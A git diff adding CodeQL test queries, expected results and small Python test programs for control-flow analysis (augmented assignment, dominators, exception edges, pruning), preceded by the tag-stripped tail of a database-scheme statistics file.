+elementid + + +12 + + + + + +value +name + + +12 + + + + + +value +idx + + +12 + + + + + +value +fileid + + +12 + + + + + +idx +id + + +12 + + + + + +idx +elementid + + +12 + + + + + +idx +name + + +12 + + + + + +idx +value + + +12 + + + + + +idx +fileid + + +12 + + + + + +fileid +id + + +12 + + + + + +fileid +elementid + + +12 + + + + + +fileid +name + + +12 + + + + + +fileid +value + + +12 + + + + + +fileid +idx + + +12 + + + + + + + +xmlNs +100 + + +id +100 + + +prefixName +100 + + +URI +100 + + +fileid +100 + + + + +id +prefixName + + +12 + + + + + +id +URI + + +12 + + + + + +id +fileid + + +12 + + + + + +prefixName +id + + +12 + + + + + +prefixName +URI + + +12 + + + + + +prefixName +fileid + + +12 + + + + + +URI +id + + +12 + + + + + +URI +prefixName + + +12 + + + + + +URI +fileid + + +12 + + + + + +fileid +id + + +12 + + + + + +fileid +prefixName + + +12 + + + + + +fileid +URI + + +12 + + + + + + + +xmlHasNs +100 + + +elementId +100 + + +nsId +100 + + +fileid +100 + + + + +elementId +nsId + + +12 + + + + + +elementId +fileid + + +12 + + + + + +nsId +elementId + + +12 + + + + + +nsId +fileid + + +12 + + + + + +fileid +elementId + + +12 + + + + + +fileid +nsId + + +12 + + + + + + + +xmlComments +100 + + +id +100 + + +text +100 + + +parentid +100 + + +fileid +100 + + + + +id +text + + +12 + + +1 +2 +2 + + + + + + +id +parentid + + +12 + + +1 +2 +2 + + + + + + +id +fileid + + +12 + + +1 +2 +2 + + + + + + +text +id + + +12 + + + + + +text +parentid + + +12 + + + + + +text +fileid + + +12 + + + + + +parentid +id + + +12 + + + + + +parentid +text + + +12 + + + + + +parentid +fileid + + +12 + + + + + +fileid +id + + +12 + + + + + +fileid +text + + +12 + + + + + +fileid +parentid + + +12 + + + + + + + +xmlChars +100 + + +id +100 + + +text +100 + + +parentid +100 + + +idx +100 + + +isCDATA +100 + + +fileid +100 + + + + +id +text + + +12 + + +1 +2 +1 + + + + + + +id +parentid + + +12 + + +1 +2 +1 + + + + + + +id +idx + + +12 + + +1 +2 +1 + + + + + + +id +isCDATA + + +12 + + +1 +2 +1 + + + + + + +id +fileid + + +12 + + +1 +2 +1 + + + + + + +text +id + + +12 + + + + + +text +parentid + + +12 + + + + + +text +idx + + +12 + + + + + +text +isCDATA + + +12 + + + + + +text +fileid + + +12 + + + + + +parentid +id + + +12 + + + + + +parentid +text + + +12 + + + + + +parentid +idx + + +12 + + + + + +parentid +isCDATA + + +12 + + + + + +parentid +fileid + + +12 + + + + + +idx +id + + +12 + + + + + +idx +text + + +12 + + + + + +idx +parentid + + +12 + + + + + +idx +isCDATA + + +12 + + + + + +idx +fileid + + +12 + + + + + +isCDATA +id + + +12 + + + + + +isCDATA +text + + +12 + + + + + +isCDATA +parentid + + +12 + + + + + +isCDATA +idx + + +12 + + + + + +isCDATA +fileid + + +12 + + + + + +fileid +id + + +12 + + + + + +fileid +text + + +12 + + + + + +fileid +parentid + + +12 + + + + + +fileid +idx + + +12 + + + + + +fileid +isCDATA + + +12 + + + + + + + +xmllocations +100 + + +xmlElement +100 + + +location +100 + + + + +xmlElement +location + + +12 + + + + + +location +xmlElement + + +12 + + + + + + + + diff --git a/python/ql/src/site.qll b/python/ql/src/site.qll new file mode 100644 index 00000000000..3a301497828 --- /dev/null +++ b/python/ql/src/site.qll @@ -0,0 +1,7 @@ +/** Site library + * + * Include predicates and classes here, if they are required to customize all analysis. + * + */ + + diff --git a/python/ql/test/.project b/python/ql/test/.project new file mode 100644 index 00000000000..8933e4b3534 --- /dev/null +++ b/python/ql/test/.project @@ -0,0 +1,18 @@ + + + python-ql-tests + + + + + + org.python.pydev.PyDevBuilder + + + + + + org.python.pydev.pythonNature + com.semmle.plugin.qdt.core.qlnature + + diff --git a/python/ql/test/.qlpath b/python/ql/test/.qlpath new file mode 100644 index 00000000000..39a20cd3424 --- /dev/null +++ b/python/ql/test/.qlpath @@ -0,0 +1,8 @@ + + + + /semmlecode-python-queries + + /semmlecode-python-queries/semmlecode.python.dbscheme + python + diff --git a/python/ql/test/library-tests/ControlFlow/PointsToSupport/UseFromDefinition.expected b/python/ql/test/library-tests/ControlFlow/PointsToSupport/UseFromDefinition.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/ControlFlow/PointsToSupport/UseFromDefinition.ql b/python/ql/test/library-tests/ControlFlow/PointsToSupport/UseFromDefinition.ql new file mode 100644 index 00000000000..8e3d1457572 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/PointsToSupport/UseFromDefinition.ql @@ -0,0 +1,23 @@ +/** + * @name UseFromDefinition + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python + +/*Find any Definition, assigned value pairs that 'valueForDefinition' misses */ + +Expr assignedValue(Name n) { + exists(Assign a | a.getATarget() = n and result = a.getValue()) + or + exists(Alias a | a.getAsname() = n and result = a.getValue()) +} + +from Name def, DefinitionNode d +where d = def.getAFlowNode() and + exists(assignedValue(def)) and + not d.getValue().getNode() = assignedValue(def) + +select def.toString(), assignedValue(def) \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/augassign/AugAssignFlow.expected b/python/ql/test/library-tests/ControlFlow/augassign/AugAssignFlow.expected new file mode 100644 index 00000000000..f5ab8c8a6f1 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/augassign/AugAssignFlow.expected @@ -0,0 +1,7 @@ +| ControlFlowNode for Attribute | ControlFlowNode for Attribute | 8 | +| ControlFlowNode for Attribute | ControlFlowNode for Attribute | 22 | +| ControlFlowNode for Subscript | ControlFlowNode for Subscript | 9 | +| ControlFlowNode for Subscript | ControlFlowNode for Subscript | 23 | +| ControlFlowNode for v | ControlFlowNode for v | 28 | +| ControlFlowNode for x | ControlFlowNode for x | 7 | +| ControlFlowNode for x | ControlFlowNode for x | 21 | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/augassign/AugAssignFlow.ql b/python/ql/test/library-tests/ControlFlow/augassign/AugAssignFlow.ql new file mode 100644 index 00000000000..d356ea5de43 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/augassign/AugAssignFlow.ql @@ -0,0 +1,10 @@ +import python + +int lineof(ControlFlowNode f) { + result = f.getNode().getLocation().getStartLine() +} + +from ControlFlowNode defn, ControlFlowNode use +where defn.getNode() = use.getNode() +and defn.isStore() and use.isLoad() +select defn.toString(), use.toString(), lineof(defn) diff --git a/python/ql/test/library-tests/ControlFlow/augassign/Kind.expected b/python/ql/test/library-tests/ControlFlow/augassign/Kind.expected new file mode 100644 index 00000000000..be8d11d0adb --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/augassign/Kind.expected @@ -0,0 +1,61 @@ +| 4 | test.py:4:5:4:9 | ControlFlowNode for func1 | store | +| 7 | test.py:7:5:7:5 | ControlFlowNode for x | aug load | +| 7 | test.py:7:5:7:5 | ControlFlowNode for x | aug store | +| 7 | test.py:7:10:7:10 | ControlFlowNode for f | load | +| 7 | test.py:7:12:7:12 | ControlFlowNode for y | load | +| 7 | test.py:7:16:7:20 | ControlFlowNode for Tuple | load | +| 8 | test.py:8:5:8:5 | ControlFlowNode for o | load | +| 8 | test.py:8:5:8:9 | ControlFlowNode for Attribute | load | +| 8 | test.py:8:5:8:14 | ControlFlowNode for Attribute | aug load | +| 8 | test.py:8:5:8:14 | ControlFlowNode for Attribute | aug store | +| 8 | test.py:8:19:8:19 | ControlFlowNode for f | load | +| 8 | test.py:8:21:8:21 | ControlFlowNode for y | load | +| 8 | test.py:8:25:8:29 | ControlFlowNode for Tuple | load | +| 9 | test.py:9:5:9:5 | ControlFlowNode for s | load | +| 9 | test.py:9:5:9:17 | ControlFlowNode for Subscript | aug load | +| 9 | test.py:9:5:9:17 | ControlFlowNode for Subscript | aug store | +| 9 | test.py:9:7:9:7 | ControlFlowNode for z | load | +| 9 | test.py:9:7:9:16 | ControlFlowNode for Tuple | load | +| 9 | test.py:9:22:9:22 | ControlFlowNode for f | load | +| 9 | test.py:9:24:9:24 | ControlFlowNode for y | load | +| 9 | test.py:9:28:9:32 | ControlFlowNode for Tuple | load | +| 10 | test.py:10:12:10:12 | ControlFlowNode for x | load | +| 13 | test.py:13:5:13:9 | ControlFlowNode for func2 | store | +| 14 | test.py:14:5:14:5 | ControlFlowNode for s | store | +| 14 | test.py:14:9:14:12 | ControlFlowNode for None | load | +| 15 | test.py:15:5:15:5 | ControlFlowNode for o | store | +| 15 | test.py:15:9:15:12 | ControlFlowNode for None | load | +| 16 | test.py:16:5:16:5 | ControlFlowNode for x | store | +| 16 | test.py:16:9:16:12 | ControlFlowNode for None | load | +| 17 | test.py:17:5:17:5 | ControlFlowNode for y | store | +| 17 | test.py:17:9:17:12 | ControlFlowNode for None | load | +| 18 | test.py:18:5:18:5 | ControlFlowNode for z | store | +| 18 | test.py:18:9:18:12 | ControlFlowNode for None | load | +| 21 | test.py:21:5:21:5 | ControlFlowNode for x | aug load | +| 21 | test.py:21:5:21:5 | ControlFlowNode for x | aug store | +| 21 | test.py:21:10:21:10 | ControlFlowNode for f | load | +| 21 | test.py:21:12:21:12 | ControlFlowNode for y | load | +| 21 | test.py:21:16:21:20 | ControlFlowNode for Tuple | load | +| 22 | test.py:22:5:22:5 | ControlFlowNode for o | load | +| 22 | test.py:22:5:22:9 | ControlFlowNode for Attribute | load | +| 22 | test.py:22:5:22:14 | ControlFlowNode for Attribute | aug load | +| 22 | test.py:22:5:22:14 | ControlFlowNode for Attribute | aug store | +| 22 | test.py:22:19:22:19 | ControlFlowNode for f | load | +| 22 | test.py:22:21:22:21 | ControlFlowNode for y | load | +| 22 | test.py:22:25:22:29 | ControlFlowNode for Tuple | load | +| 23 | test.py:23:5:23:5 | ControlFlowNode for s | load | +| 23 | test.py:23:5:23:17 | ControlFlowNode for Subscript | aug load | +| 23 | test.py:23:5:23:17 | ControlFlowNode for Subscript | aug store | +| 23 | test.py:23:7:23:7 | ControlFlowNode for z | load | +| 23 | test.py:23:7:23:16 | ControlFlowNode for Tuple | load | +| 23 | test.py:23:22:23:22 | ControlFlowNode for f | load | +| 23 | test.py:23:24:23:24 | ControlFlowNode for y | load | +| 23 | test.py:23:28:23:32 | ControlFlowNode for Tuple | load | +| 24 | test.py:24:12:24:12 | ControlFlowNode for x | load | +| 27 | test.py:27:5:27:8 | ControlFlowNode for comp | store | +| 28 | test.py:28:5:28:5 | ControlFlowNode for v | aug load | +| 28 | test.py:28:5:28:5 | ControlFlowNode for v | aug store | +| 28 | test.py:28:10:28:10 | ControlFlowNode for a | load | +| 28 | test.py:28:15:28:18 | ControlFlowNode for cond | load | +| 28 | test.py:28:25:28:25 | ControlFlowNode for b | load | +| 29 | test.py:29:12:29:12 | ControlFlowNode for v | load | diff --git a/python/ql/test/library-tests/ControlFlow/augassign/Kind.ql b/python/ql/test/library-tests/ControlFlow/augassign/Kind.ql new file mode 100644 index 00000000000..8ac3a4de0c1 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/augassign/Kind.ql @@ -0,0 +1,21 @@ + +import python + +string kind(ControlFlowNode f) { + if f.isAugLoad() then + result = "aug load" + else ( + if f.isAugStore() then + result = "aug store" + else ( + if f.isLoad() then + result = "load" + else ( + f.isStore() and result = "store" + ) + ) + ) +} + +from ControlFlowNode cfg +select cfg.getLocation().getStartLine(), cfg, kind(cfg) \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/augassign/SSA.expected b/python/ql/test/library-tests/ControlFlow/augassign/SSA.expected new file mode 100644 index 00000000000..f5c89ccdfc4 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/augassign/SSA.expected @@ -0,0 +1,3 @@ +| ControlFlowNode for v | 28 | +| ControlFlowNode for x | 7 | +| ControlFlowNode for x | 21 | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/augassign/SSA.ql b/python/ql/test/library-tests/ControlFlow/augassign/SSA.ql new file mode 100644 index 00000000000..3738aa1f255 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/augassign/SSA.ql @@ -0,0 +1,13 @@ +/** + * @name SSA + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python + + +from ControlFlowNode defn, SsaVariable v, AugAssign a, BinaryExpr b +where v.getDefinition() = defn and a.getOperation() = b and b.contains((Expr)defn.getNode()) +select defn.toString(), defn.getNode().getLocation().getStartLine() \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/augassign/test.py b/python/ql/test/library-tests/ControlFlow/augassign/test.py new file mode 100644 index 00000000000..0a3cbe30ae3 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/augassign/test.py @@ -0,0 +1,29 @@ +#Test flow control for augmented assignment statements: + +#Parameters +def func1(s, o, x, y, z): + #Note that the right hand sides should be sufficiently complex + #to make the parts of the statement sufficiently separated + x += f(y, (1,2,3)) + o.val.item += f(y, (1,2,3)) + s[z, 10, 1:3] += f(y, (1,2,3)) + return x + +#Local variables +def func2(): + s = None + o = None + x = None + y = None + z = None + #Note that the right hand sides should be sufficiently complex + #to make the parts of the statement sufficiently separated + x += f(y, (1,2,3)) + o.val.item += f(y, (1,2,3)) + s[z, 10, 1:3] += f(y, (1,2,3)) + return x + +#Complex flow +def comp(v, cond): + v += a if cond else b + return v diff --git a/python/ql/test/library-tests/ControlFlow/comparison/Compare.expected b/python/ql/test/library-tests/ControlFlow/comparison/Compare.expected new file mode 100644 index 00000000000..34cb8350342 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/comparison/Compare.expected @@ -0,0 +1,6 @@ +| 1 | ControlFlowNode for Compare | a | b | == | +| 2 | ControlFlowNode for Compare | c | d | > | +| 3 | ControlFlowNode for Compare | e | f | < | +| 4 | ControlFlowNode for Compare | g | h | >= | +| 5 | ControlFlowNode for Compare | i | j | <= | +| 6 | ControlFlowNode for Compare | k | l | != | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/comparison/Compare.ql b/python/ql/test/library-tests/ControlFlow/comparison/Compare.ql new file mode 100644 index 00000000000..162b02b1f61 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/comparison/Compare.ql @@ -0,0 +1,17 @@ +/** + * @name CompareTest + * @description CompareTest + * @kind problem + * @problem.severity warning + */ + +import python + +from CompareNode c, NameNode l, NameNode r, Cmpop op, int line, Variable vl, Variable vr +where c.operands(l, op, r) and +line = c.getLocation().getStartLine() and +line = l.getLocation().getStartLine() and +line = r.getLocation().getStartLine() and +l.uses(vl) and r.uses(vr) +select line, c.toString(), vl.getId(), vr.getId(), op.getSymbol() + diff --git a/python/ql/test/library-tests/ControlFlow/comparison/compare.py b/python/ql/test/library-tests/ControlFlow/comparison/compare.py new file mode 100644 index 00000000000..e40411d931f --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/comparison/compare.py @@ -0,0 +1,6 @@ +a == b +c > d +e < f +g >= h +i <= j +k != l diff --git a/python/ql/test/library-tests/ControlFlow/delete/test.expected b/python/ql/test/library-tests/ControlFlow/delete/test.expected new file mode 100644 index 00000000000..ccbfba0b2a8 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/delete/test.expected @@ -0,0 +1,16 @@ +| 0 | Entry node for Module test | 1 | ControlFlowNode for FunctionExpr | +| 1 | ControlFlowNode for FunctionExpr | 1 | ControlFlowNode for foo | +| 1 | ControlFlowNode for a | 1 | ControlFlowNode for b | +| 1 | ControlFlowNode for b | 1 | ControlFlowNode for c | +| 1 | ControlFlowNode for c | 2 | ControlFlowNode for a | +| 1 | ControlFlowNode for foo | 0 | Exit node for Module test | +| 1 | Entry node for Function foo | 1 | ControlFlowNode for a | +| 2 | ControlFlowNode for Attribute | 2 | ControlFlowNode for Delete | +| 2 | ControlFlowNode for Delete | 3 | ControlFlowNode for a | +| 2 | ControlFlowNode for a | 2 | ControlFlowNode for Attribute | +| 3 | ControlFlowNode for Delete | 3 | ControlFlowNode for b | +| 3 | ControlFlowNode for Delete | 4 | ControlFlowNode for c | +| 3 | ControlFlowNode for a | 3 | ControlFlowNode for Delete | +| 3 | ControlFlowNode for b | 3 | ControlFlowNode for Delete | +| 4 | ControlFlowNode for Delete | 1 | Exit node for Function foo | +| 4 | ControlFlowNode for c | 4 | ControlFlowNode for Delete | diff --git a/python/ql/test/library-tests/ControlFlow/delete/test.py b/python/ql/test/library-tests/ControlFlow/delete/test.py new file mode 100644 index 00000000000..820bc3392d3 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/delete/test.py @@ -0,0 +1,4 @@ +def foo(a, b, c): + del a.x + del a, b + del c diff --git a/python/ql/test/library-tests/ControlFlow/delete/test.ql b/python/ql/test/library-tests/ControlFlow/delete/test.ql new file mode 100644 index 00000000000..517733b70d6 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/delete/test.ql @@ -0,0 +1,5 @@ +import python + +from ControlFlowNode p, ControlFlowNode s +where p.getASuccessor() = s +select p.getLocation().getStartLine().toString(), p.toString(), s.getLocation().getStartLine(), s.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/dominators/DominatesSanity.expected b/python/ql/test/library-tests/ControlFlow/dominators/DominatesSanity.expected new file mode 100644 index 00000000000..fe98b155587 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/dominators/DominatesSanity.expected @@ -0,0 +1 @@ +| 0 | 0 | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/dominators/DominatesSanity.ql b/python/ql/test/library-tests/ControlFlow/dominators/DominatesSanity.ql new file mode 100644 index 00000000000..cb53879e63b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/dominators/DominatesSanity.ql @@ -0,0 +1,9 @@ + +import python + +select count(BasicBlock b1, BasicBlock b2 +| b1 = b2.getImmediateDominator+() and not b1.strictlyDominates(b2) +), +count(BasicBlock b1, BasicBlock b2 +| not b1 = b2.getImmediateDominator+() and b1.strictlyDominates(b2) +) diff --git a/python/ql/test/library-tests/ControlFlow/dominators/idom.expected b/python/ql/test/library-tests/ControlFlow/dominators/idom.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/ControlFlow/dominators/idom.ql b/python/ql/test/library-tests/ControlFlow/dominators/idom.ql new file mode 100644 index 00000000000..37739501bd9 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/dominators/idom.ql @@ -0,0 +1,16 @@ +/** + * @name Check all non-scope nodes have an immediate dominator + * @description Check all non-scope nodes have an immediate dominator + * @kind problem + * @problem.severity warning + */ + +import python + +/* This query should *never* produce a result */ + +from ControlFlowNode f +where not exists(f.getImmediateDominator()) +and not f.getNode() instanceof Scope +select f + diff --git a/python/ql/test/library-tests/ControlFlow/dominators/test.py b/python/ql/test/library-tests/ControlFlow/dominators/test.py new file mode 100644 index 00000000000..fe9db8fad0a --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/dominators/test.py @@ -0,0 +1,37 @@ + + +def f(): + while 0: + pass + return 1 + +def g(): + while 1: + pass + return unreachable + +def h(x): + if x: + return x + else: + return None + + + + +def k(a, b): + for x in a or b: + pass + return 0 + +def l(a, b, c): + if a or b or c: + return a or b or c + else: + return None + +def m(a, b, c): + if a and b and c: + return a and b and c + else: + return None \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/except/test.expected b/python/ql/test/library-tests/ControlFlow/except/test.expected new file mode 100644 index 00000000000..da4b21d23df --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/except/test.expected @@ -0,0 +1,9 @@ +| e2 | +| e3 | +| e5 | +| e6 | +| e8 | +| ec | +| ed | +| ee | +| ef | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/except/test.py b/python/ql/test/library-tests/ControlFlow/except/test.py new file mode 100644 index 00000000000..e66082c4b88 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/except/test.py @@ -0,0 +1,106 @@ +#Ensure there is an exceptional edge from the following case + + + + + + +def f2(): + b, d = Base, Derived + try: + class MyNewClass(b, d): + pass + except: + e2 + +def f3(): + sequence_of_four = a_global + try: + a, b, c = sequence_of_four + except: + e3 + +#Always treat locals as non-raising to keep DB size down. +def f4(): + if cond: + local = 1 + try: + local + except: + e4 + +def f5(): + try: + a_global + except: + e5 + +def f6(): + local = a_global + try: + local() + except: + e6 + +#Literals can't raise +def f7(): + try: + 4 + except: + e7 + +def f8(): + try: + a + b + except: + e8 + + +#OK assignments +def f9(): + try: + a, b = 1, 2 + except: + e9 + +def fa(): + seq = a_global + try: + a = seq + except: + ea + +def fb(): + a, b, c = a_global + try: + seq = a, b, c + except: + eb + +#Ensure that a.b and c[d] can raise + +def fc(): + a, b = a_global + try: + return a[b] + except: + ec + +def fd(): + a = a_global + try: + return a.b + except: + ed + + +def fe(): + try: + call() + except: + ee + else: + ef + + + diff --git a/python/ql/test/library-tests/ControlFlow/except/test.ql b/python/ql/test/library-tests/ControlFlow/except/test.ql new file mode 100644 index 00000000000..a81459377af --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/except/test.ql @@ -0,0 +1,5 @@ +import python + +from GlobalVariable v, Name n, ControlFlowNode f +where v.getId().charAt(0) = "e" and n.uses(v) and f.getNode() = n +select v.getId() diff --git a/python/ql/test/library-tests/ControlFlow/general/Comments.expected b/python/ql/test/library-tests/ControlFlow/general/Comments.expected new file mode 100644 index 00000000000..f55daf3bc72 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Comments.expected @@ -0,0 +1 @@ +| Module flowtest | 5 | diff --git a/python/ql/test/library-tests/ControlFlow/general/Comments.ql b/python/ql/test/library-tests/ControlFlow/general/Comments.ql new file mode 100644 index 00000000000..e93c8aae330 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Comments.ql @@ -0,0 +1,6 @@ +import python + +from Module m, int n +where n = m.getMetrics().getNumberOfLinesOfComments() +select m.toString(), n + diff --git a/python/ql/test/library-tests/ControlFlow/general/Cyclo.expected b/python/ql/test/library-tests/ControlFlow/general/Cyclo.expected new file mode 100644 index 00000000000..e814047bf80 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Cyclo.expected @@ -0,0 +1,9 @@ +| Function definitions | 2 | +| Function deletion | 1 | +| Function gloop | 2 | +| Function if_else | 2 | +| Function lloop | 2 | +| Function normal_args | 1 | +| Function special_args | 1 | +| Function try_except | 4 | +| Function try_finally | 2 | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/general/Cyclo.ql b/python/ql/test/library-tests/ControlFlow/general/Cyclo.ql new file mode 100644 index 00000000000..6ca0327ab0b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Cyclo.ql @@ -0,0 +1,6 @@ +import python + +from Function func +select func.toString(), func.getMetrics().getCyclomaticComplexity() + + diff --git a/python/ql/test/library-tests/ControlFlow/general/ImmediateDominatorCheck.expected b/python/ql/test/library-tests/ControlFlow/general/ImmediateDominatorCheck.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/ControlFlow/general/ImmediateDominatorCheck.ql b/python/ql/test/library-tests/ControlFlow/general/ImmediateDominatorCheck.ql new file mode 100644 index 00000000000..f038fd8d77a --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/ImmediateDominatorCheck.ql @@ -0,0 +1,16 @@ + + +import python + +predicate +can_reach_from_entry_without_passing(ControlFlowNode target, ControlFlowNode pass) { + target != pass and target.getScope() = pass.getScope() and + (target.isEntryNode() or + exists(ControlFlowNode pre | target.getAPredecessor() = pre and can_reach_from_entry_without_passing(pre, pass))) +} + +from ControlFlowNode node, ControlFlowNode dom +where dom = node.getImmediateDominator() +and +can_reach_from_entry_without_passing(node, dom) +select node.toString(), dom.toString() diff --git a/python/ql/test/library-tests/ControlFlow/general/Lines.expected b/python/ql/test/library-tests/ControlFlow/general/Lines.expected new file mode 100644 index 00000000000..b7c1e0393fe --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Lines.expected @@ -0,0 +1,10 @@ +| Function definitions | 13 | +| Function deletion | 7 | +| Function gloop | 6 | +| Function if_else | 6 | +| Function lloop | 4 | +| Function normal_args | 3 | +| Function special_args | 4 | +| Function try_except | 7 | +| Function try_finally | 7 | +| Module flowtest | 70 | diff --git a/python/ql/test/library-tests/ControlFlow/general/Lines.ql b/python/ql/test/library-tests/ControlFlow/general/Lines.ql new file mode 100644 index 00000000000..60046ef3242 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Lines.ql @@ -0,0 +1,7 @@ +import python + +from Scope s, int n +where exists(Function f | f = s | n = f.getMetrics().getNumberOfLines()) or +exists(Module m | m = s | n = m.getMetrics().getNumberOfLines()) +select s.toString(), n + diff --git a/python/ql/test/library-tests/ControlFlow/general/Reaches.expected b/python/ql/test/library-tests/ControlFlow/general/Reaches.expected new file mode 100644 index 00000000000..4fc0324ad13 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Reaches.expected @@ -0,0 +1,19 @@ +| ExceptionL | +| ExceptionR | +| cond1 | +| cond2 | +| except_handler | +| fall_through1 | +| fall_through2 | +| final_body | +| g1 | +| g2 | +| g3 | +| g5 | +| left | +| merged | +| right | +| try_body1 | +| try_body2 | +| try_body3 | +| try_body4 | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/general/Reaches.ql b/python/ql/test/library-tests/ControlFlow/general/Reaches.ql new file mode 100644 index 00000000000..548be578a76 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/Reaches.ql @@ -0,0 +1,13 @@ +import python + +predicate reaches_exit(Name u) { + u.uses(_) and + exists(ControlFlowNode f, BasicBlock b | + f.getNode() = u and f.getBasicBlock() = b | + b.reachesExit() + ) +} + +from Name u +where reaches_exit(u) and u.getVariable() instanceof GlobalVariable +select u.toString() diff --git a/python/ql/test/library-tests/ControlFlow/general/flowtest.py b/python/ql/test/library-tests/ControlFlow/general/flowtest.py new file mode 100644 index 00000000000..98589557409 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/general/flowtest.py @@ -0,0 +1,73 @@ +def definitions(p1): # Multiple defns of same variable + v1 = 0 + v1 + v1 = 1 + v1 + v2 = 2 + if p1: + v1 = 1 + v2 = 2 + else: + v2 = 2 + v1 + v2 + +def lloop(): #Loop + v3 = 0 + while 1: + v3 + +def gloop(): #Loop and global + global d1 + d1 = 0 + g1 + while g2: + g3 + +def deletion(): + global g4 + del g4 + g5 + v4 = 0 + del v4 + v4 + +def if_else(): + if cond1: + left + else: + right + merged + +def try_except(): + try: + try_body1() + try_body2() + except ExceptionL if cond2 else ExceptionR: + except_handler + fall_through1 + +def try_finally(): + try: + try_body3() + try_body4() + finally: + final_body + fall_through2 + +def normal_args(arg0, arg1): + arg0 + arg1 + +def special_args(*vararg, **kwarg): + vararg + + kwarg + + + +#A comment +#at the end of the file + + + diff --git a/python/ql/test/library-tests/ControlFlow/pruning/test.expected b/python/ql/test/library-tests/ControlFlow/pruning/test.expected new file mode 100644 index 00000000000..b8cd5b6b98d --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/pruning/test.expected @@ -0,0 +1,45 @@ +| 5 | 0 | +| 11 | 0 | +| 18 | 1 | +| 24 | 0 | +| 25 | 1 | +| 29 | 1 | +| 30 | 0 | +| 32 | 1 | +| 33 | 1 | +| 34 | 1 | +| 35 | 1 | +| 37 | 0 | +| 38 | 1 | +| 39 | 0 | +| 40 | 1 | +| 48 | 0 | +| 49 | 1 | +| 51 | 1 | +| 52 | 1 | +| 61 | 1 | +| 64 | 1 | +| 72 | 1 | +| 75 | 1 | +| 82 | 1 | +| 94 | 0 | +| 96 | 0 | +| 103 | 0 | +| 112 | 1 | +| 114 | 1 | +| 120 | 0 | +| 127 | 1 | +| 131 | 0 | +| 133 | 1 | +| 135 | 0 | +| 137 | 1 | +| 139 | 1 | +| 141 | 0 | +| 143 | 0 | +| 145 | 1 | +| 147 | 1 | +| 149 | 0 | +| 152 | 0 | +| 154 | 1 | +| 161 | 1 | +| 163 | 1 | diff --git a/python/ql/test/library-tests/ControlFlow/pruning/test.py b/python/ql/test/library-tests/ControlFlow/pruning/test.py new file mode 100644 index 00000000000..bdc43c414ad --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/pruning/test.py @@ -0,0 +1,164 @@ +#Test number of CFG nodes for each use of 'count' + +def dead(): + return 0 + count + +def conditional_dead(test): + if test: + return + if test: + count + +def made_true(seq): + if seq: + return + seq.append(1) + if seq: + count + +def boolop(t1, t2, t3, t4, t5, t6): + if not t1: + return + #bool(t1) must be True + t1 or count + t1 and count + if t2: + return + #bool(t2) must be False + t2 or count + t2 and count + if t3 or t4: + t3 or count + t3 and count + t3 or count + t4 and count + if t5 and t6: + t5 or count + t5 and count + t6 or count + t6 and count + +def with_splitting(t1, t2): + if t1: + if not t2: + return + #Cannot have bool(t1) be True and bool(t2) be False + if t1: + t2 or count #Unreachable + t2 and count + else: + t2 or count + t2 and count + +def loops(seq1, seq2, seq3, seq4, seq5): + if seq1: + return + if not seq2: + return + #bool(seq1) is False; bool(seq2) is True + while seq1: + count #This is unreachable, but the pop below forces us to be conservative. + seq1.pop() + while seq2: + count + seq2.pop() + if seq3: + return + if not seq4: + return + #bool(seq3) is False; bool(seq4) is True + for var in seq3: + count #This is unreachable, but we cannot infer this yet. + print(var) + for var in seq4: + count + print(var) + #seq5 false then made true + if seq5: + return + seq5.append(1) + for var in seq5: + count + print(var) + +#Logic does not apply to global variables in calls, +#as they may be changed from true to false externally. +from some_module import x, y +if not x: + raise Exception() +if y: + raise Exception() +make_a_call() +if not x: + count +if y: + count + +# However, modules are always true -- Which is important. +import another_module + +make_a_call() +if not another_module: + count + + +def negated_conditional_live(t1, t2): + if not t1: + 